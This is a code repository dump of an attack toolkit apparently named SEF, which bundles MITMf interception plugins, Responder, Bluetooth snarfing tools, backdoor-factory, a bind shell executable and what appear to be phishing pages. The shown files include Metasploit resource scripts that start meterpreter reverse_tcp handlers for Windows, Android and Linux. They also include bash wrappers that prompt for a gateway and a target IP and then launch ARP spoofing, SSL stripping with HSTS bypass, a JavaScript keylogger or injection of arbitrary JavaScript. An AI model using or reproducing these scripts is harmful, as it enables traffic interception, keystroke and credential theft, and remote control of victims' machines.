├── sniffer ├── core │ ├── __init__.py │ ├── ferretng │ │ ├── __init__.py │ │ ├── FerretProxy.py │ │ ├── DnsCache.py │ │ ├── ServerConnectionFactory.py │ │ ├── URLMonitor.py │ │ └── SSLServerConnection.py │ ├── servers │ │ ├── __init__.py │ │ ├── POP3.py │ │ ├── FTP.py │ │ ├── IMAP.py │ │ └── SMTP.py │ ├── sslstrip │ │ ├── __init__.py │ │ ├── README.md │ │ ├── StrippingProxy.py │ │ ├── DnsCache.py │ │ └── ServerConnectionFactory.py │ ├── poisoners │ │ ├── __init__.py │ │ ├── ICMP.py │ │ ├── NBTNS.py │ │ └── MDNS.py │ ├── responder │ │ ├── __init__.py │ │ ├── fingerprint.py │ │ └── odict.py │ ├── packetfilter.py │ ├── logger.py │ ├── configwatcher.py │ ├── html │ │ └── htadriveby.html │ ├── javascript │ │ └── msfkeylogger.js │ ├── banners.py │ ├── mitmfapi.py │ └── utils.py ├── libs │ ├── __init__.py │ ├── sslstrip │ │ ├── __init__.py │ │ ├── DnsCache.pyc │ │ ├── __init__.pyc │ │ ├── URLMonitor.pyc │ │ ├── ClientRequest.pyc │ │ ├── CookieCleaner.pyc │ │ ├── ServerConnection.pyc │ │ ├── StrippingProxy.pyc │ │ ├── SSLServerConnection.pyc │ │ ├── ServerConnectionFactory.pyc │ │ ├── DnsCache.py │ │ ├── README.md │ │ ├── StrippingProxy.py │ │ └── ServerConnectionFactory.py │ ├── responder │ │ ├── __init__.py │ │ ├── DHCP.pyc │ │ ├── odict.pyc │ │ ├── FindSQLSrv.pyc │ │ ├── HTTPProxy.pyc │ │ ├── Responder.pyc │ │ ├── SMBPackets.pyc │ │ ├── SMBRelay.pyc │ │ ├── SQLPackets.pyc │ │ ├── __init__.pyc │ │ ├── Fingerprint.pyc │ │ ├── HTTPPackets.pyc │ │ ├── IMAPPackets.pyc │ │ ├── LDAPPackets.pyc │ │ ├── RelayPackets.pyc │ │ ├── SMTPPackets.pyc │ │ ├── FindSMB2UPTime.pyc │ │ ├── Icmp-Redirect.pyc │ │ ├── FingerprintRelay.pyc │ │ ├── RAPLANMANPackets.pyc │ │ ├── FindSQLSrv.py │ │ ├── IMAPPackets.py │ │ ├── SMTPPackets.py │ │ ├── CHANGELOG │ │ ├── FindSMB2UPTime.py │ │ └── odict.py │ ├── sergioproxy │ │ ├── __init__.py │ │ ├── __init__.pyc │ │ ├── ProxyPlugins.pyc │ │ ├── README.md │ │ └── ProxyPlugins.py │ ├── bdfactory │ ├── beefapi.pyc │ ├── msfrpc.pyc │ ├── __init__.pyc │ ├── publicsuffix.pyc │ ├── publicsuffix.py │ └── msfrpc.py ├── logs │ ├── dns │ │ └── .gitignore │ ├── ferret-ng │ │ └── .gitignore │ ├── responder │ │ └── .gitignore │ └── .gitignore ├── lock.ico ├── mitmf.pyc ├── plugins │ ├── FilePwn.pyc │ ├── Inject.pyc │ ├── JavaPwn.pyc │ ├── Replace.pyc │ ├── SMBAuth.pyc │ ├── Spoof.pyc │ ├── plugin.pyc │ ├── CacheKill.pyc │ ├── Responder.pyc │ ├── SSLstrip+.pyc │ ├── __init__.pyc │ ├── BeefAutorun.pyc │ ├── JsKeylogger.pyc │ ├── AppCachePoison.pyc │ ├── BrowserProfiler.pyc │ ├── SessionHijacker.pyc │ ├── Upsidedownternet.pyc │ ├── __init__.py │ ├── SSLstrip+.py │ ├── CacheKill.py │ ├── SMBAuth.py │ ├── smbauth.py │ ├── smbtrap.py │ ├── sslstrip+.py │ ├── Upsidedownternet.py │ ├── browserprofiler.py │ ├── replace.py │ ├── htadriveby.py │ ├── jskeylogger.py │ ├── imagerandomizer.py │ ├── screenshotter.py │ ├── upsidedownternet.py │ ├── Replace.py │ ├── plugin.py │ ├── Responder.py │ ├── ferretng.py │ ├── responder.py │ └── BeefAutorun.py ├── config │ ├── app_cache_poison_templates │ │ ├── script.append │ │ ├── facebook.manifest │ │ ├── default.manifest │ │ ├── default.append │ │ ├── test.replace │ │ └── facebook.append │ ├── responder │ │ ├── BindShell.exe │ │ ├── gen-self-signed-cert.sh │ │ ├── responder.crt │ │ ├── AccessDenied.html │ │ └── responder.key │ ├── hta_driveby │ │ └── flash_setup.hta │ └── captive │ │ └── portal.html ├── .gitmodules ├── .coveragerc ├── build │ └── pip-delete-this-directory.txt ├── requirements.txt ├── .travis.yml ├── tools │ └── cve-details-parser.py └── tests │ └── basic_tests.py ├── Scame ├── 1.jpg ├── fs.ico ├── th.jpeg ├── index.ico ├── index.html └── chrome.html ├── tools ├── android │ └── adb ├── bluetooth │ ├── l2ping │ ├── sdptool │ ├── bluesnarfer │ ├── spooftooph │ ├── Makefile │ ├── README │ └── include │ │ └── bluesnarfer.h ├── msfrc │ ├── firefox_xpi_bootstrapped_addon.rc │ ├── Listening1.rc │ ├── Listening2.rc │ ├── Listening3.rc │ ├── Listening4.rc │ ├── Listening.rc │ └── windowsclean.rc ├── scripts │ ├── Listner │ ├── Listner1 │ ├── Listner2 │ ├── Listner3 │ ├── windowsclean │ ├── androidclean │ ├── Listner4 │ ├── firefox_xpi_bootstrapped_addon │ ├── ms11_003_ie_css_import │ ├── Sniffing │ ├── SniffingSSL │ ├── inject │ └── Payload └── exploitdb │ ├── Exploitdb.sh │ └── searchsploit ├── README.md ├── remove └── install /sniffer/core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/libs/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/core/ferretng/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/core/servers/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/core/sslstrip/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/core/poisoners/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/core/responder/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/libs/responder/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/libs/sergioproxy/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /sniffer/logs/dns/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /sniffer/logs/ferret-ng/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /sniffer/logs/responder/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | -------------------------------------------------------------------------------- /Scame/1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/Scame/1.jpg -------------------------------------------------------------------------------- /Scame/fs.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/Scame/fs.ico -------------------------------------------------------------------------------- /sniffer/libs/bdfactory: -------------------------------------------------------------------------------- 1 | IntxLNK../../backdoor-factory -------------------------------------------------------------------------------- /Scame/th.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/Scame/th.jpeg -------------------------------------------------------------------------------- /Scame/index.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/Scame/index.ico -------------------------------------------------------------------------------- /sniffer/lock.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/lock.ico -------------------------------------------------------------------------------- /sniffer/logs/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | !.gitignore 3 | !responder/ 4 | !dns/ 5 | !ferret-ng/ 6 | -------------------------------------------------------------------------------- /sniffer/mitmf.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/mitmf.pyc -------------------------------------------------------------------------------- /tools/android/adb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/tools/android/adb -------------------------------------------------------------------------------- /tools/bluetooth/l2ping: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/tools/bluetooth/l2ping -------------------------------------------------------------------------------- /sniffer/libs/beefapi.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/beefapi.pyc -------------------------------------------------------------------------------- /sniffer/libs/msfrpc.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/msfrpc.pyc -------------------------------------------------------------------------------- /tools/bluetooth/sdptool: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/tools/bluetooth/sdptool -------------------------------------------------------------------------------- /sniffer/libs/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/__init__.pyc -------------------------------------------------------------------------------- /sniffer/plugins/FilePwn.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/FilePwn.pyc -------------------------------------------------------------------------------- /sniffer/plugins/Inject.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/Inject.pyc -------------------------------------------------------------------------------- /sniffer/plugins/JavaPwn.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/JavaPwn.pyc -------------------------------------------------------------------------------- /sniffer/plugins/Replace.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/Replace.pyc -------------------------------------------------------------------------------- /sniffer/plugins/SMBAuth.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/SMBAuth.pyc -------------------------------------------------------------------------------- /sniffer/plugins/Spoof.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/Spoof.pyc -------------------------------------------------------------------------------- /sniffer/plugins/plugin.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/plugin.pyc -------------------------------------------------------------------------------- /tools/bluetooth/bluesnarfer: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/tools/bluetooth/bluesnarfer -------------------------------------------------------------------------------- /tools/bluetooth/spooftooph: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/tools/bluetooth/spooftooph -------------------------------------------------------------------------------- /tools/msfrc/firefox_xpi_bootstrapped_addon.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/browser/firefox_xpi_bootstrapped_addon 2 | -------------------------------------------------------------------------------- /sniffer/libs/publicsuffix.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/publicsuffix.pyc -------------------------------------------------------------------------------- /sniffer/plugins/CacheKill.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/CacheKill.pyc -------------------------------------------------------------------------------- /sniffer/plugins/Responder.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/Responder.pyc -------------------------------------------------------------------------------- /sniffer/plugins/SSLstrip+.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/SSLstrip+.pyc -------------------------------------------------------------------------------- /sniffer/plugins/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/__init__.pyc -------------------------------------------------------------------------------- /sniffer/config/app_cache_poison_templates/script.append: -------------------------------------------------------------------------------- 1 | 2 | ;alert('AppCache Poison was here. Google Analytics FTW'); -------------------------------------------------------------------------------- /sniffer/libs/responder/DHCP.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/DHCP.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/odict.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/odict.pyc -------------------------------------------------------------------------------- /sniffer/plugins/BeefAutorun.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/BeefAutorun.pyc -------------------------------------------------------------------------------- /sniffer/plugins/JsKeylogger.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/JsKeylogger.pyc -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/DnsCache.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sslstrip/DnsCache.pyc -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sslstrip/__init__.pyc -------------------------------------------------------------------------------- /sniffer/plugins/AppCachePoison.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/AppCachePoison.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/FindSQLSrv.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/FindSQLSrv.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/HTTPProxy.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/HTTPProxy.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/Responder.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/Responder.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/SMBPackets.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/SMBPackets.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/SMBRelay.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/SMBRelay.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/SQLPackets.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/SQLPackets.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/__init__.pyc -------------------------------------------------------------------------------- /sniffer/libs/sergioproxy/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sergioproxy/__init__.pyc -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/URLMonitor.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sslstrip/URLMonitor.pyc -------------------------------------------------------------------------------- /sniffer/plugins/BrowserProfiler.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/BrowserProfiler.pyc -------------------------------------------------------------------------------- /sniffer/plugins/SessionHijacker.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/SessionHijacker.pyc -------------------------------------------------------------------------------- /sniffer/plugins/Upsidedownternet.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/plugins/Upsidedownternet.pyc -------------------------------------------------------------------------------- /sniffer/config/responder/BindShell.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/config/responder/BindShell.exe -------------------------------------------------------------------------------- /sniffer/libs/responder/Fingerprint.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/Fingerprint.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/HTTPPackets.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/HTTPPackets.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/IMAPPackets.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/IMAPPackets.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/LDAPPackets.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/LDAPPackets.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/RelayPackets.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/RelayPackets.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/SMTPPackets.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/SMTPPackets.pyc -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/ClientRequest.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sslstrip/ClientRequest.pyc -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/CookieCleaner.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sslstrip/CookieCleaner.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/FindSMB2UPTime.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/FindSMB2UPTime.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/Icmp-Redirect.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/Icmp-Redirect.pyc -------------------------------------------------------------------------------- /sniffer/libs/sergioproxy/ProxyPlugins.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sergioproxy/ProxyPlugins.pyc -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/ServerConnection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sslstrip/ServerConnection.pyc -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/StrippingProxy.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sslstrip/StrippingProxy.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/FingerprintRelay.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/FingerprintRelay.pyc -------------------------------------------------------------------------------- /sniffer/libs/responder/RAPLANMANPackets.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/responder/RAPLANMANPackets.pyc -------------------------------------------------------------------------------- /tools/scripts/Listner: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Wait will open metasploit ...." 3 | echo 4 | msfconsole -r /etc/SEF/tools/msfrc/Listening.rc 5 | -------------------------------------------------------------------------------- /tools/scripts/Listner1: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Wait will open metasploit ...." 3 | echo 4 | msfconsole -r /etc/SEF/tools/msfrc/Listening1.rc 5 | -------------------------------------------------------------------------------- /tools/scripts/Listner2: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Wait will open metasploit ...." 3 | echo 4 | msfconsole -r /etc/SEF/tools/msfrc/Listening2.rc 5 | -------------------------------------------------------------------------------- /tools/scripts/Listner3: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Wait will open metasploit ...." 3 | echo 4 | msfconsole -r /etc/SEF/tools/msfrc/Listening3.rc 5 | -------------------------------------------------------------------------------- /sniffer/.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "libs/bdfactory"] 2 | path = libs/bdfactory 3 | url = https://github.com/secretsquirrel/the-backdoor-factory 4 | -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/SSLServerConnection.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sslstrip/SSLServerConnection.pyc -------------------------------------------------------------------------------- /tools/msfrc/Listening1.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set payload windows/meterpreter/reverse_tcp 3 | set LHOST d 4 | set LPORT 5 | exploit 6 | -------------------------------------------------------------------------------- /tools/msfrc/Listening2.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set payload android/meterpreter/reverse_tcp 3 | set LHOST d 4 | set LPORT 5 | exploit 6 | -------------------------------------------------------------------------------- /tools/msfrc/Listening3.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set payload linux/x64/meterpreter/reverse_tcp 3 | set LHOST d 4 | set LPORT 5 | exploit 6 | -------------------------------------------------------------------------------- /tools/msfrc/Listening4.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set payload linux/x86/meterpreter/reverse_tcp 3 | set LHOST d 4 | set LPORT 5 | exploit 6 | -------------------------------------------------------------------------------- /tools/scripts/windowsclean: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Wait will open metasploit ...." 3 | echo 4 | msfconsole -r /etc/SEF/tools/msfrc/windowsclean.rc 5 | -------------------------------------------------------------------------------- /sniffer/libs/sslstrip/ServerConnectionFactory.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ahmadnourallah/SEF/HEAD/sniffer/libs/sslstrip/ServerConnectionFactory.pyc -------------------------------------------------------------------------------- /sniffer/plugins/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import glob 3 | __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] 4 | -------------------------------------------------------------------------------- /tools/scripts/androidclean: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Wait will open metasploit ...." 3 | echo 4 | msfconsole -r /etc/SEF/tools/msfrc/androidclean.rc 5 | 6 | -------------------------------------------------------------------------------- /sniffer/config/app_cache_poison_templates/facebook.manifest: -------------------------------------------------------------------------------- 1 | CACHE MANIFEST 2 | CACHE: 3 | %%tamper_url%% 4 | NETWORK: 5 | * 6 | http://* 7 | https://** 8 | -------------------------------------------------------------------------------- /tools/scripts/Listner4: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Wait will open metasploit ...." 3 | echo 4 | msfconsole -r /etc/Desktop/SEF/tools/msfrc/Listner4Listening4.rc 5 | -------------------------------------------------------------------------------- /tools/msfrc/Listening.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set payload windows/meterpreter/reverse_tcp 3 | set LHOST 192.168.1.1 4 | set LPORT 12342 5 | exploit 6 | -------------------------------------------------------------------------------- /tools/msfrc/windowsclean.rc: -------------------------------------------------------------------------------- 1 | use exploit/multi/handler 2 | set payload windows/meterpreter/reverse_tcp 3 | set LHOST 192.168.1.102 4 | set LPORT 4444 5 | exploit 6 | -------------------------------------------------------------------------------- /sniffer/.coveragerc: -------------------------------------------------------------------------------- 1 | [run] 2 | branch = True 3 | 4 | [report] 5 | include = *core*, *libs*, *plugins* 6 | exclude_lines = 7 | pragma: nocover 8 | pragma: no cover 9 | -------------------------------------------------------------------------------- /sniffer/config/responder/gen-self-signed-cert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | openssl genrsa -out responder.key 2048 3 | openssl req -new -x509 -days 3650 -key responder.key -out responder.crt -subj "/" 4 | -------------------------------------------------------------------------------- /tools/scripts/firefox_xpi_bootstrapped_addon: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Wait will open metasploit ...." 3 | echo 4 | msfconsole -r /etc/SEF/tools/msfrc/firefox_xpi_bootstrapped_addon.rc 5 | 6 | -------------------------------------------------------------------------------- /sniffer/config/app_cache_poison_templates/default.manifest: -------------------------------------------------------------------------------- 1 | CACHE MANIFEST 2 | CACHE: 3 | %%tamper_url%% 4 | http://www.google-analytics.com/ga.js 5 | NETWORK: 6 | * 7 | http://* 8 | https://** 9 | -------------------------------------------------------------------------------- /tools/scripts/ms11_003_ie_css_import: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | echo "Wait will open metasploit ...." 3 | echo 4 | msfconsole -r /etc/Desktop/SEF/tools/msfrc/ms11_003_ie_css_importms11_003_ie_css_import.rc 5 | 6 | -------------------------------------------------------------------------------- /sniffer/build/pip-delete-this-directory.txt: -------------------------------------------------------------------------------- 1 | This file is placed here by pip to indicate the source was put 2 | here by pip. 3 | 4 | Once this package is successfully installed this source code will be 5 | deleted (unless you remove this file). 6 | -------------------------------------------------------------------------------- /sniffer/config/hta_driveby/flash_setup.hta: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tools/bluetooth/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -W -g3 3 | LD = ld 4 | LDFLAGS = `pkg-config --libs bluez` 5 | SRC = src 6 | INC = -Iinclude 7 | 8 | all: bluesnarfer 9 | 10 | bluesnarfer: src/bluesnarfer.c 11 | $(CC) $(INC) $(CFLAGS) $(SRC)/bluesnarfer.c $(LDFLAGS) -o bluesnarfer 12 | 13 | clean: 14 | rm bluesnarfer 15 | -------------------------------------------------------------------------------- /tools/scripts/Sniffing: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | read -p "Enter your Gateway: " gateway 3 | echo 4 | read -p "Enter your Target Ip: " target 5 | echo 6 | read -p "Enter your Interface: " interface 7 | echo 8 | echo "[*]Your attack will be start wait a minute ....." 9 | python /etc/SEF/tools/sniffer/mitmf.py --arp --spoof -i "$interface" --gateway "$gateway" --target "$target" --jskeylogger 10 | -------------------------------------------------------------------------------- /tools/scripts/SniffingSSL: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | read -p "Enter your Gateway: " gateway 3 | echo 4 | read -p "Enter your Target Ip: " target 5 | echo 6 | read -p "Enter your Interface: " interface 7 | echo 8 | echo "[*]Your attack will be start wait a minute ....." 9 | python /etc/SEF/tools/sniffer/mitmf.py --hsts --arp --spoof -i "$interface" --gateway "$gateway" --target "$target" --jskeylogger 10 | -------------------------------------------------------------------------------- /sniffer/requirements.txt: -------------------------------------------------------------------------------- 1 | git+git://github.com/kti/python-netfilterqueue 2 | pyinotify 3 | pycrypto 4 | pyasn1 5 | cryptography 6 | Pillow 7 | netaddr 8 | scapy 9 | dnslib 10 | Twisted 11 | lxml 12 | pefile 13 | ipy 14 | user_agents 15 | pyopenssl 16 | service_identity 17 | configobj 18 | Flask 19 | dnspython 20 | beautifulsoup4 21 | capstone 22 | python-magic 23 | msgpack-python 24 | requests 25 | pypcap 26 | chardet -------------------------------------------------------------------------------- /tools/scripts/inject: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | read -p "Enter your Gateway: " gateway 3 | echo 4 | read -p "Enter your Target Ip: " target 5 | echo 6 | read -p "Enter your Interface: " interface 7 | echo 8 | read -p "Enter what your need inject: " js 9 | echo 10 | echo "[*]Your attack will be start wait a minute ....." 11 | python /etc/SEF/tools/sniffer/mitmf.py --hsts --arp --spoof -i $interface --gateway $gateway --target $target --inject --js-url $js 12 | -------------------------------------------------------------------------------- /sniffer/libs/sergioproxy/README.md: -------------------------------------------------------------------------------- 1 | Originally, sergio-proxy was a standalone implementation of a 2 | transparent proxy using the Twisted networking framework 3 | for Python. However, sslstrip uses almost *exactly* the 4 | same interception method, so I decided to use sslstrip's 5 | more mature libraries and try to provide a simple plugin 6 | interface to grab the data. 7 | 8 | The only file that has been modified from sslstrip is the 9 | ServerConnection.py file, from which we can hook at certain 10 | important points during the intercept. 11 | 12 | Copyright 2011, Ben Schmidt 13 | Released under the GPLv3 14 | -------------------------------------------------------------------------------- /sniffer/plugins/SSLstrip+.py: -------------------------------------------------------------------------------- 1 | from plugins.plugin import Plugin 2 | from libs.sslstrip.URLMonitor import URLMonitor 3 | import sys 4 | 5 | class HSTSbypass(Plugin): 6 | name = 'SSLstrip+' 7 | optname = 'hsts' 8 | desc = 'Enables SSLstrip+ for partial HSTS bypass' 9 | has_opts = False 10 | 11 | def initialize(self, options): 12 | self.options = options 13 | 14 | try: 15 | config = options.configfile['SSLstrip+'] 16 | except Exception, e: 17 | sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) 18 | 19 | print "[*] SSLstrip+ plugin online" 20 | URLMonitor.getInstance().setHstsBypass(config) 21 | -------------------------------------------------------------------------------- /sniffer/.travis.yml: -------------------------------------------------------------------------------- 1 | language: python 2 | python: 3 | - "2.7" 4 | 5 | addons: 6 | apt: 7 | packages: 8 | - libpcap0.8-dev 9 | - libnetfilter-queue-dev 10 | - libssl-dev 11 | 12 | notifications: 13 | irc: 14 | channels: 15 | - "irc.freenode.org#MITMf" 16 | template: 17 | - "%{repository}#%{build_number} 